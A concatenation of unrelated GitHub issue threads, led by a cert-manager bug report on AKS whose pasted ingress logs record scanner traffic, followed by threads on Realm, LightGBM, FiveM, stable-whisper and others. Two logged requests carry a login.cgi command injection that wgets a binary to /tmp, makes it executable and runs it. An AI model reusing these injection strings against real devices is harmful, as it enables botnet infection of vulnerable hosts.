cert-manager does not create a cert with lets-encrypt

Bugs should be filed for issues encountered whilst operating cert-manager.
You should first attempt to resolve your issues through the community support
channels, e.g. Slack, in order to rule out individual configuration errors.
Please provide as much detail as possible.

Describe the bug:
I am using AKS to create a SSL cert with lets encrypt.  I installed cert-manager using helm.
I created a CA cluster issuer:
Shawns-Personal-MacBook-Pro:~ shawnvarughese$ kubectl describe ClusterIssuer
Name:         letsencrypt-prod
Namespace:
Labels:       <none>
Annotations:  kubectl.kubernetes.io/last-applied-configuration={"apiVersion":"certmanager.k8s.io/v1alpha1","kind":"ClusterIssuer","metadata":{"annotations":{},"name":"letsencrypt-prod","namespace":""},"spec":{"acme...
API Version:  certmanager.k8s.io/v1alpha1
Kind:         ClusterIssuer
Metadata:
  Creation Timestamp:  2018-12-09T19:35:56Z
  Generation:          1
  Resource Version:    890789
  Self Link:           /apis/certmanager.k8s.io/v1alpha1/clusterissuers/letsencrypt-prod
  UID:                 a5bba453-fbe9-11e8-9108-0ea4bd565112
Spec:
  Acme:
    Email<EMAIL_ADDRESS>    Http 01:
    Private Key Secret Ref:
      Name:  letsencrypt-prod
    Server:  https://acme-v02.api.letsencrypt.org/directory
Events:      <none>

Created a certificate object:
    Shawns-Personal-MacBook-Pro:~ shawnvarughese$ kubectl describe certificates
Name:         tls-secret
Namespace:    default
Labels:       <none>
Annotations:  kubectl.kubernetes.io/last-applied-configuration={"apiVersion":"certmanager.k8s.io/v1alpha1","kind":"Certificate","metadata":{"annotations":{},"name":"tls-secret","namespace":"default"},"spec":{"acme"...
API Version:  certmanager.k8s.io/v1alpha1
Kind:         Certificate
Metadata:
  Creation Timestamp:  2018-12-10T17:09:05Z
  Generation:          1
  Resource Version:    890853
  Self Link:           /apis/certmanager.k8s.io/v1alpha1/namespaces/default/certificates/tls-secret
  UID:                 4ccd87c3-fc9e-11e8-9108-0ea4bd565112
Spec:
  Acme:
    Config:
      Domains:
        mydomain.com
      Http 01:
        Ingress Class:  nginx
  Dns Names:
    mydomain.com
  Issuer Ref:
    Kind:       ClusterIssuer
    Name:       letsencrypt-prod
  Secret Name:  tls-secret
Events:         <none>

Created Ingress:
Shawns-Personal-MacBook-Pro:~ shawnvarughese$ kubectl describe Ingress
Name:             my-ingress
Namespace:        default
Address:
Default backend:  default-http-backend:80 (<none>)
TLS:
  tls-secret terminates mydomain.com
Rules:
  Host             Path  Backends
  ----             ----  --------
  mydomain.com
                   /   web:8080 (<none>)
Annotations:
  kubernetes.io/ingress.class:                       nginx
  kubernetes.io/tls-acme:                            true
  nginx.ingress.kubernetes.io/rewrite-target:        /
  certmanager.k8s.io/cluster-issuer:                 letsencrypt-prod
  kubectl.kubernetes.io/last-applied-configuration:  {"apiVersion":"extensions/v1beta1","kind":"Ingress","metadata":{"annotations":{"certmanager.k8s.io/cluster-issuer":"letsencrypt-prod","kubernetes.io/ingress.class":"nginx","kubernetes.io/tls-acme":"true","nginx.ingress.kubernetes.io/rewrite-target":"/"},"name":"my-ingress","namespace":"default"},"spec":{"rules":[{"host":"mydomain.com","http":{"paths":[{"backend":{"serviceName":"web","servicePort":8080},"path":"/"}]}}],"tls":[{"hosts":["mydomain.com"],"secretName":"tls-secret"}]}}

Events:  <none>

As you can see the events for the Certificate is none so its not even creating the order.  Not sure why it would not even create the order or even throw a error.
Expected behaviour:
It should start the request to order a new cert
Steps to reproduce the bug:
Steps to reproduce the bug should be clear and easily reproducible to help people
gain an understanding of the problem.
Anything else we need to know?:
details from logs:
Also just noticed this in the logs:
    0383146a91108
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [07/Dec/2018:18:44:59 +0000] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 173 "-" "-" 46 0.000 [] - - - - ea94a2fbba4c1c9ad145b15d0a52c52f
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [08/Dec/2018:02:22:54 +0000] "" 400 0 "-" "-" 0 0.000 [] - - - - a95a0b46bf827182675e0fc1422690df
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [08/Dec/2018:02:22:56 +0000] "" 400 0 "-" "-" 0 0.000 [] - - - - de92f7a3a62aa416b4e83b43b4bbce8b
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [08/Dec/2018:07:37:37 +0000] "0\x00\x00\xA2C\x8D\x08&\xB1\xD2\xB2\x1D0\x95\x1A\xCF\xC6\x9F\xAE\xF9E\x84\xA1\x87N\x93Q\x1E\x96\x1B\xCD\xB7m\x8A\x97\x7F\xD4\x1B\xB9\xEC\xAD\xFC[q\xCDI\x1D\xB6\x5C\xC9\x17" 400 173 "-" "-" 0 0.254 [] - - - - 32e9877f816385ea17fc81d66e0c0bff
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [08/Dec/2018:08:32:38 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-" 0 0.082 [] - - - -<PHONE_NUMBER>7733d5d5c8465c910520cc
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [08/Dec/2018:12:13:59 +0000] "\x16\x03\x01\x00\xDE\x01\x00\x00\xDA\x03\x03\xDAR\xA1\x0C\xC2" 400 173 "-" "-" 0 0.276 [] - - - - 76ef49ba809cfafa0b271587a91975f5
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [09/Dec/2018:13:34:23 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-" 0 0.082 [] - - - - 9f19f060dad13ea83b219786f57de1b8
    I1209 18:51:07.029058       6 store.go:279] ignoring add for ingress tekdashplatform-ingress based on annotation kubernetes.io/ingress.class with value
    W1209 18:51:22.672206       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [09/Dec/2018:19:01:21 +0000] "GET / HTTP/1.1" 400 271 "-" "python-requests/2.20.1" 149 0.000 [] - - - - 9a7d23cc704a397c50aac83da9628a5e
    W1209 19:28:31.697030       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
    W1209 19:30:39.221141       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
    W1209 20:24:05.231839       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [09/Dec/2018:21:21:29 +0000] "GET / HTTP/1.1" 400 173 "-" "-" 18 0.000 [] - - - - 387208826b079e7c5f681cbffbfad783
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [09/Dec/2018:23:46:58 +0000] "\x03\x00\x00*%\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Test" 400 173 "-" "-" 0 0.090 [] - - - - 807bcf345b02efbb1d12de430f4aed29
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [09/Dec/2018:23:46:59 +0000] "\x03\x00\x00*%\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Test" 400 173 "-" "-" 0 0.081 [] - - - - b3867afca100531461c9a2ca1e307230
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [10/Dec/2018:00:49:09 +0000] "GET / HTTP/1.1" 400 271 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 304 0.000 [] - - - - c3e2b27647745ebcff376892d3a0153a
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [10/Dec/2018:03:45:34 +0000] "GET / HTTP/1.1" 400 173 "-" "-" 18 0.000 [] - - - - bea0e89c148a432f3e709f809461c891
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [10/Dec/2018:08:57:40 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-" 0 0.082 [] - - - - ede5cc867dc5e412aa0aec96bd1d3a74
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [10/Dec/2018:14:44:52 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://<IP_ADDRESS>/x%20-O%20-%3E%20/tmp/x;sh%20/tmp/x%27$ HTTP/1.1" 400 173 "-" "Kowai/1.0" 202 0.000 [] - - - - 7f30adc5eccf31c000d4f2afb4164510
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [10/Dec/2018:18:05:55 +0000] "\x03\x00\x00*%\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Test" 400 173 "-" "-" 0 4.998 [] - - - - a63c9264f0aca0bf70c9c06f388eda3a
    E1210 18:14:19.966614       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp <IP_ADDRESS>:37014-><IP_ADDRESS>:443: read: connection timed out
    E1210 18:14:19.968364       6 leaderelection.go:234] error retrieving resource lock kube-system/ingress-controller-leader-addon-http-application-routing: Get https://tekdash-prod-8206c842.hcp.eastus.azmk8s.io:443/api/v1/namespaces/kube-system/configmaps/ingress-controller-leader-addon-http-application-routing: read tcp <IP_ADDRESS>:37014-><IP_ADDRESS>:443: read: connection timed out
    E1210 18:14:19.968638       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp <IP_ADDRESS>:37014-><IP_ADDRESS>:443: read: connection timed out
    E1210 18:14:19.968656       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp <IP_ADDRESS>:37014-><IP_ADDRESS>:443: read: connection timed out
    E1210 18:14:19.968802       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp <IP_ADDRESS>:37014-><IP_ADDRESS>:443: read: connection timed out
    W1210 18:14:19.968826       6 queue.go:130] requeuing &ObjectMeta{Name:sync status,GenerateName:,Namespace:,SelfLink:,UID:,ResourceVersion:,Generation:0,CreationTimestamp:0001-01-01 00:00:00 +0000 UTC,DeletionTimestamp:<nil>,DeletionGracePeriodSeconds:nil,Labels:map[string]string{},Annotations:map[string]string{},OwnerReferences:[],Finalizers:[],ClusterName:,Initializers:nil,}, err Get https://tekdash-prod-8206c842.hcp.eastus.azmk8s.io:443/api/v1/namespaces/kube-system/services/addon-http-application-routing-nginx-ingress: read tcp <IP_ADDRESS>:37014-><IP_ADDRESS>:443: read: connection timed out
    E1210 18:14:19.969084       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp <IP_ADDRESS>:37014-><IP_ADDRESS>:443: read: connection timed out
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [10/Dec/2018:21:37:40 +0000] "\x03\x00\x00+&\xE0\x00\x00\x00\x00\x00Cookie: mstshash=hello" 400 173 "-" "-" 0 0.083 [] - - - - 7039cea3baaa8022798c25cd822165f4
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [11/Dec/2018:02:26:46 +0000] "GET / HTTP/1.1" 400 173 "-" "-" 18 0.000 [] - - - - 508c65c2544bfc5b8d09cd259a609418
    W1211 03:52:37.916346       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
    W1211 04:11:17.322745       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [11/Dec/2018:04:29:28 +0000] "\x01\x00\x00\x00" 400 173 "-" "-" 0 0.254 [] - - - - 1363273fff4bc9c1fb698b925a9a466d
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [11/Dec/2018:04:38:29 +0000] "\x01\x00\x00\x00" 400 173 "-" "-" 0 0.254 [] - - - - b515cf47a022a35635d900e5f428d564
    I1211 05:11:24.101841       6 store.go:309] ignoring delete for ingress tekdashplatform-ingress based on annotation kubernetes.io/ingress.class
    I1211 05:12:39.201657       6 store.go:279] ignoring add for ingress tekdashplatform-ingress based on annotation kubernetes.io/ingress.class with value
    W1211 05:12:46.560229       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
    <IP_ADDRESS> - [<IP_ADDRESS>] - - [11/Dec/2018:05:28:45 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://<IP_ADDRESS>/bins/sector.mips%20-O%20->%20/tmp/.sector;chmod%20777%20/tmp/.sector;/tmp/.sector%20dlink%27$ HTTP/1.1" 400 173 "-" "Sector/2.0" 257 0.000 [] - - - - 6f971b6e64166ceb732a58d6444463de

Environment details::

Kubernetes version (e.g. v1.10.2): Client Version: version.Info{Major:"1", Minor:"10", GitVersion:"v1.10.3", GitCommit:"2bba0127d85d5a46ab4b778548be28623b32d0b0", GitTreeState:"clean", BuildDate:"2018-05-21T09:17:39Z", GoVersion:"go1.9.3", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"11", GitVersion:"v1.11.5", GitCommit:"753b2dbc622f5cc417845f0ff8a77f539a4213ea", GitTreeState:"clean", BuildDate:"2018-11-26T14:31:35Z", GoVersion:"go1.10.3", Compiler:"gc", Platform:"linux/amd64"}
Cloud-provider/provisioner (e.g. GKE, kops AWS, etc): Azure
cert-manager version (e.g. v0.4.0): certmanager.k8s.io/v1alpha1
Install method (e.g. helm or static manifests): helm

/kind bug

We've made some significant improvement in v0.6 - please could you retry with the latest version, and if you're still running into issues, ask for help first on the Slack channel which tends to be an easier format for resolving these kinds of issues 😄


Add German translations for v4

@gflohr FYI, maybe you want to double check this.

Thank you! It passed in v4, I merged manually


[BUG]

Describe the bug
Moved and Resized the HUD for the place reader, it disappeared.
To Reproduce
Moved License plate reader, disappeared. Havent been able to reproduce, it doesnt show up anymore. Tried reinstalling.
Tried the beta didnt help.
Wondering where the UI settings are saved?
Expected behaviour
A clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

FiveM version Updated
FiveM server version Up to date, 1.2
Radar version [e.g. 1.2.4]

Additional context
Add any other context about the problem here.

Whilst in-game, type /reset_radar_data in chat, then fully restart FiveM without opening the remote. Load the game and try again.


customAuthCorrections

@jergirl I assigned you to this pull request as you look to be the author of this file. Please adjust if needed.


How can I help?

Is there anything that needs done that I can give a hand with?

Well, do you know C#?
Also get in Discord.

I thought it was in godot

also how can I help

@DrCelt I have a few images I want you to review.

If you want to know how you can help, come talk to us in Discord.
https://discord.gg/MwDDf6t


Update step1_lexing.md

Integer Pattern here uses + instead of *, so it misses integers 1-9.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Coverage remained the same at 100.0% when pulling 69c9e23ca2667d1a42afb413426a66224fd52a30 on herrfugbaum:patch-1 into 900fe8eef345871ed1f5fbb856cebadad64da1ac on SAP:master.

Thanks  👍

The website will get updated after the next version release.


install error on windows

I installed Visual Studio 16 2019 on my PC and run setup.py, but I still got the following error:
D:\mtgbmcode-main\python-package>python setup.py install
running install
C:\Users\Administrator\miniconda3\lib\site-packages\setuptools\command\install.py:34: SetuptoolsDeprecationWarning: setup.py install is deprecated. Use build and pip and other standards-based tools.
warnings.warn(
INFO:LightGBM:Starting to compile the library.
INFO:LightGBM:Starting to compile with MSBuild from existing solution file.
WARNING:LightGBM:Compilation with MSBuild from existing solution file failed.
INFO:LightGBM:Starting to compile with Visual Studio 16 2019.
INFO:LightGBM:Starting to compile with Visual Studio 15 2017.
INFO:LightGBM:Starting to compile with Visual Studio 14 2015.
Traceback (most recent call last):
File "D:\mtgbmcode-main\python-package\setup.py", line 310, in
setup(name='lightgbmmt',
File "C:\Users\Administrator\miniconda3\lib\site-packages\setuptools_init_.py", line 153, in setup
return distutils.core.setup(**attrs)
File "C:\Users\Administrator\miniconda3\lib\distutils\core.py", line 148, in setup
dist.run_commands()
File "C:\Users\Administrator\miniconda3\lib\distutils\dist.py", line 966, in run_commands
self.run_command(cmd)
File "C:\Users\Administrator\miniconda3\lib\distutils\dist.py", line 985, in run_command
cmd_obj.run()
File "D:\mtgbmcode-main\python-package\setup.py", line 267, in run
compile_cpp(use_mingw=self.mingw, use_gpu=self.gpu, use_mpi=self.mpi,
File "D:\mtgbmcode-main\python-package\setup.py", line 163, in compile_cpp
raise Exception("\n".join(('Please install Visual Studio or MS Build and all required dependencies first',
Exception: Please install Visual Studio or MS Build and all required dependencies first
The full version of error log was saved into C:\Users\Administrator\LightGBM_compilation.log

LightGBM_compilation.log is a empty file

You need to have the environment to compile the cpp.

LightGBM_compilation.log is a empty file

maybe you can find that "FileNotFoundError: [Errno 2] No such file or directory: 'cmake'" in the error log,  because it has not installed cmake in your env, you can run:
yum install -y cmake
install cmake and then run python setup.py...


refactor: Polish Writer API by merging append and write together

This PR introduces the following changes:

Remove append from OpWrite: this arg is confusing.
Add content_length in OpWrite so that services can handle sized and unsized input by themselves

After all these changes, users only need to use write instead of append.

This change will make our writer's behavior more easy to understand.

Seems like you're using write instead of append. Please append this change to desc.

Seems like you're using write instead of append. Please append this change to desc.

DONE.

If users want to overwrite multiple times and then rollback, they will no longer be able to use the writer to do so.
WDYT?

If users want to overwrite multiple times and then rollback, they will no longer be able to use the writer to do so.

I didn't understand these use cases. Could you provide more details?

No, we are confused many things together here.
After this PRs change, there is no append concept, we have two different write uses cases: Sized and Unsized.
If users specified the size for write operation and provide all data with it, we can write with oneshot. Otherwise, services need to handle it in different ways: append, multipart upload, range write, ...
op.write() is exactly this case: we know the size and we have all data.
op.writer() is the other case: we don't know the size in advance, and services need to handle it by different ways.

No, we are confused many things together here.
After this PRs change, there is no append concept, we have two different write uses cases: Sized and Unsized.
If users specified the size for write operation and provide all data with it, we can write with oneshot. Otherwise, services need to handle it in different ways: append, multipart upload, range write, ...
op.write() is exactly this case: we know the size and we have all data. op.writer() is the other case: we don't know the size in advance, and services need to handle it by different ways.
In general, we will hide all the impelment details inside services. The only thing for users to use is write, and the only choice for users is specify the size or not.

Great explanation! I think this needs to be in the documentation.


flamegraph status

Added live status. The "Open Flamegraph" button now becomes available either on a "DONE" status message, or a max poll interval (90 seconds) with a message to say it timed out.


Switch master branch to main

See https://github.com/github/renaming
expected January 2021

Done.

Done.


Passing a repository during install of pip dependencies

Hello,
Can I use the -p flag to install a specific branch from git. For example with ansible. Could I do -p git+https://github.com/ansible/ansible.git@devel ?

Mmm good question, I guess you are talking about the slim tag? Never tried to do that

Confirmed, it works.


PassInput borders are not red on error

Issue and Steps to Reproduce
Add a PassInput component and put an error message in it
Versions
Screenshots

Expected
Red borders (like the Email TextInput in the screenshot)
Actual
Black borders

A component pass input exist


command line --compile not working

See screen shot, I'm trying to compile just my main.less file.
It's not compiling into builtAssets.
When I remove --compile it works.
Is there a way to turn on verbose logging to see what's going on in the background?

Sorry for the delayed response! Might be too late but in case anyone else comes across this.
After digging around in Mincer, I figured out what's causing your issue.

Files should be named with chained types with the left most extension being the end result. Your main.less file should actually be named main.css.less. See the Mincer docs for more info.
When specifying files for compiling, you should not include the path or additional extensions. Your parameter should instead be connect-assets -i ... -c main.css (after you've done rename above).

Let me know if this works for you.

Beefed up the description of compile on the CLI to hopefully help anyone who gets stuck on this in the future.


[OUDS] Add a new $enable-bootstrap-specificities

⚠ Improve the description!
Description

Find a better name
Add a new $enable-bootstrap-specificities (default to false)

Add Sass testing with $enable-bootstrap-specificities = true to be sure that it always compile

Make it work for utilities
Apply it on existing Bootstrap stuff that wasn't used before already by Boosted?

Integrate floating labels?
Some utilities, etc.

Reintegrate https://boosted.orange.com/docs/5.3/customize/options/#content (a part of it at least)
Create a ouds-web (by default / not Bootstrap), and a ouds-web-bootstrap (with Bootstrap)

Closed by https://github.com/Orange-OpenSource/Orange-Boosted-Bootstrap/pull/2573


UI: Change Font Size of Footer Headers

Category

[ ] Documentation
[ ] Resource Addition
[ ] Codebase
[x] User Interface
[ ] Feature Request

Description

We need to change the font size of the landing page footer headers ('Support' &' Categories') to 15px:

For Assignee:

Ensure that you submit a PR for this issue within 1 day. Otherwise, you will be unassigned from this issue and it will be passed on to the next contributor who asked to be assigned to it.

Note: This issue is for JWoC 2024 participants. If you are not participating in this event, please refrain from asking to get assigned to this issue.

I want to work on it. Can you please assign it to me? @Sriparno08

Can you please assign me this issue under JWOC?

I have read the issue and I would like to work on this issue.
Please assign it to me under JWOC'2024.

If i add the style option  in their respective tag and add the font size in it , is it okay ?? @Sriparno08

looks good @Sriparno08

Yeah, it's okay.

please review the PR @Sriparno08


an SPDM message greater than the transmit buffer size of the sending SPDM endpoint also is A large SPDM message

A large SPDM message is an SPDM message whose size is greater than the DataTransferSize of the receiving
SPDM endpoint or greater than the transmit buffer size of the sending SPDM endpoint.

Refer to paragraph 681 in DSP0274_1.2.1.

A large SPDM message is an SPDM message whose size is greater than the DataTransferSize of the receiving
SPDM endpoint or greater than the transmit buffer size of the sending SPDM endpoint.

But the following three paragraph only mentioned the case greater than the DataTransferSize of the receiving SPDM endpoint, missed the case greater than the transmit buffer size of the sending SPDM endpoint.

Refer to paragraph 686 in DSP0274_1.2.1.

CHUNK_SEND request and CHUNK_SEND_ACK response shall be used to send a request to an SPDM endpoint when
the size of the request is greater than the DataTransferSize of the receiving SPDM endpoint.

Refer to paragraph 701 in DSP0274_1.2.1.

CHUNK_GET request and CHUNK_RESPONSE response shall be used to retrieve a Large SPDM Response from an
SPDM endpoint when the size of the Response is greater than the DataTransferSize of the SPDM endpoint
receiving the Response.

Refer to paragraph 450 Table 48 — Error code and error data in DSP0274_1.2.1.

This has already been filed against the specification as https://github.com/DMTF/SPDM-WG/issues/2930.


SwipeFlingAdapterView : Not reuse view

The SwipeFlingAdapterView class doesn't reuse the created views.
Your concept is based on deleting the item in the adapter when the first card is flingged.
In SwipeFlingAdapterView .layoutChildren, you always ask the adapter to create a new view. So, if the user doesn't delete the flingged view in the adapter, there will be an out of memory.

@Sigvent how to deal with?

@superlbr Good question, I don't know. I will try to change something to reuse the views.
I'm so busy now. I will find a solution in a couple of months.

it's adapter's responsibility to provide reusable views (cache). See "viewholder pattern"

@Diolor yes this is adapter's responsibility when you are using ListView. BUT that is not case with this lib. Please take a look at View newUnderChild = mAdapter.getView(startingIndex, null, this);
at void layoutChildren(int startingIndex, int adapterCount) method in Swipecards/library/src/main/java/com/lorentzos/flingswipe/SwipeFlingAdapterView.java class.
SwipeFlingAdapterView manually calling getView and always passing null for convertView param, So reusing implementation of viewholder pattern is not possible with SwipeFlingAdapterView. Even worst if you have 10 items in adapter and max_visible to 5 each time when you swipe left or right new 5 views are created.
Could you please reopen issue since this is clearly issue with lib?


Design Support section UI/UX

As a developer, I want to know how the Support section in the app will look and how users can get in there, so that I know what to build.
Acceptance criteria: UI designs of the support section & how to get there completed; GitHub story created with all information provided.

It has been discussed: Integrate Elevio for FAQs and Smooch.io (Sunshine Conversations) for chat with TIKI's app.

@mike-audi
Initial UX has been designed, link to Figma:
https://www.figma.com/file/qPyNZAqE0Ha4swtLy8uaBd/Support-Section-UX?node-id=0%3A1

Search is the more difficult bit.  (decide if it will be built for now.
UI for FAQs required.

UI design in progress.
See #198 for a Development ticket.
This ticket will be closed.

UI design created. See in Figma / Product / Beta App under a new page "support section"


*** Terminating app due to uncaught exception 'RLMException', reason: 'Property names beginning with 'new' are not supported. Swift follows ARC's ownership rules for methods based on their name, which results in memory leaks when accessing properties which return retained values via KVC.'

I got an error after I update realm form 2.1 to 2.4.3：
*** Terminating app due to uncaught exception 'RLMException', reason: 'Property names beginning with 'new' are not supported. Swift follows ARC's ownership rules for methods based on their name, which results in memory leaks when accessing properties which return retained values via KVC.'
how can I fix it

We have received the same error when upgrading from 2.4.2 to 2.4.3.
However, 2.4.3 claims to not have any breaking API changes:
https://github.com/realm/realm-cocoa/releases/tag/v2.4.3

Presumably due to #4633. Thoughts, @tgoyne?

It is not listed as a breaking change because properties which such names appeared to never have worked in the first place, and the goal of the change was just to make it fail in a more understandable way. Do you have an example of a model which works correctly with Realm 2.4.2 which is rejected by 2.4.3? It may be that the check is overly broad.

We did have a model that had a property called newValue but it wasn't being used yet, so we didn't see it as a problem. We have renamed our property and should be good to go now.
Thanks for the feedback guys.

@tgoyne my data model has no property with prefix 'new'，it works correctly in Realm 2.1.0 ，but is  failed in 2.4.3.

@Jinkeycode, are those all of the properties declared in your class? Is that your only model class? None of those names look like they'd be rejected by the check added by #4633.

@bdash，oh！it's not the only model I have, I figure out that I have a property with prefix 'new'. I will fix it,thanks. Except 'new', is there any other prefix can not be used?

Names starting with alloc, new, copy, mutableCopy are disallowed if followed by a non-lowercase letter (or nothing).

@bdash ，I got it. Thanks for your help !

Do you have any other questions, @Jinkeycode?

I'm closing this ticket. If you have any more questions, feel free to file another one!


noisereduce leads to "ValueError: Expected parameter logits" error

When I used 'noisereduce' as denoiser, given below, the sample_path links to an 20 min audio,
result = model.transcribe(sample_path, suppress_silence=True, vad=True, denoiser='noisereduce'),
The following error is reported:

ValueError                                Traceback (most recent call last)
Cell In[14], line 5
3 denoiser = 'noisereduce'
4 decode_options = {'language': 'en'}
----> 5 result = model.transcribe(sample_path, suppress_silence=True, vad=True, denoiser=denoiser, language='en') # , condition_on_previous_text=False) #  lower_quantile=0.05, lower_threshold=0.1)
6 duration = time.time() - start_time
7 print(f"Duration stable-ts: {duration:.3f} s.")
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/stable_whisper/whisper_word_level/original_whisper.py:484, in transcribe_stable(model, audio, verbose, temperature, compression_ratio_threshold, logprob_threshold, no_speech_threshold, condition_on_previous_text, initial_prompt, word_timestamps, regroup, ts_num, ts_noise, suppress_silence, suppress_word_ts, suppress_attention, use_word_position, q_levels, k_size, time_scale, denoiser, denoiser_options, demucs, demucs_options, vad, vad_threshold, vad_onnx, min_word_dur, min_silence_dur, nonspeech_error, only_voice_freq, prepend_punctuations, append_punctuations, stream, mel_first, split_callback, suppress_ts_tokens, gap_padding, only_ffmpeg, max_instant_words, avg_prob_threshold, nonspeech_skip, progress_callback, ignore_compatibility, extra_models, dynamic_heads, **decode_options)
482 detect_language()
483 decode_options["prompt"] = all_tokens[prompt_reset_since:]
--> 484 result: DecodingResult = decode_with_fallback(mel_segment, ts_token_mask=ts_token_mask)
485 tokens = torch.tensor(result.tokens)
487 if no_speech_threshold is not None:
488     # no voice activity check
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/stable_whisper/whisper_word_level/original_whisper.py:345, in transcribe_stable..decode_with_fallback(seg, ts_token_mask)
342     kwargs.pop("best_of", None)
344 options = DecodingOptions(**kwargs, temperature=t)
--> 345 decode_result, audio_features = decode_stable(model,
346                                               seg,
347                                               options,
348                                               ts_token_mask=ts_token_mask if suppress_ts_tokens else None,
349                                               audio_features=audio_features)
351 needs_fallback = False
352 if (
353         compression_ratio_threshold is not None
354         and decode_result.compression_ratio > compression_ratio_threshold
355 ):
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/torch/utils/_contextlib.py:115, in context_decorator..decorate_context(*args, **kwargs)
112 @functools.wraps(func)
113 def decorate_context(*args, **kwargs):
114     with ctx_factory():
--> 115         return func(*args, **kwargs)
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/stable_whisper/decode.py:110, in decode_stable(model, mel, options, ts_token_mask, audio_features, **kwargs)
107     options = replace(options, **kwargs)
109 task = DecodingTaskStable(model, options, ts_token_mask=ts_token_mask, audio_features=audio_features)
--> 110 result = task.run(mel)
112 return result[0] if single else result, task.audio_features
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/torch/utils/_contextlib.py:115, in context_decorator..decorate_context(*args, **kwargs)
112 @functools.wraps(func)
113 def decorate_context(*args, **kwargs):
114     with ctx_factory():
--> 115         return func(*args, **kwargs)
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/whisper/decoding.py:737, in DecodingTask.run(self, mel)
734 tokens = tokens.repeat_interleave(self.n_group, dim=0).to(audio_features.device)
736 # call the main sampling loop
--> 737 tokens, sum_logprobs, no_speech_probs = self._main_loop(audio_features, tokens)
739 # reshape the tensors to have (n_audio, n_group) as the first two dimensions
740 audio_features = audio_features[:: self.n_group]
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/stable_whisper/decode.py:60, in DecodingTaskStable.main_loop(self, audio_features, tokens)
58 logits.nan_to_num(-np.inf)
59 # expand the tokens tensor with the selected next tokens
---> 60 tokens, completed = self.decoder.update(tokens, logits, sum_logprobs)
62 if completed or tokens.shape[-1] > self.n_ctx:
63     break
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/whisper/decoding.py:283, in GreedyDecoder.update(self, tokens, logits, sum_logprobs)
281     next_tokens = logits.argmax(dim=-1)
282 else:
--> 283     next_tokens = Categorical(logits=logits / self.temperature).sample()
285 logprobs = F.log_softmax(logits.float(), dim=-1)
286 current_logprobs = logprobs[torch.arange(logprobs.shape[0]), next_tokens]
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/torch/distributions/categorical.py:70, in Categorical.init(self, probs, logits, validate_args)
66 self._num_events = self._param.size()[-1]
67 batch_shape = (
68     self._param.size()[:-1] if self._param.ndimension() > 1 else torch.Size()
69 )
---> 70 super().init(batch_shape, validate_args=validate_args)
File /home/ec2-user/SageMaker/efs/conda_envs/whisper/lib/python3.10/site-packages/torch/distributions/distribution.py:68, in Distribution.init(self, batch_shape, event_shape, validate_args)
66         valid = constraint.check(value)
67         if not valid.all():
---> 68             raise ValueError(
69                 f"Expected parameter {param} "
70                 f"({type(value).name} of shape {tuple(value.shape)}) "
71                 f"of distribution {repr(self)} "
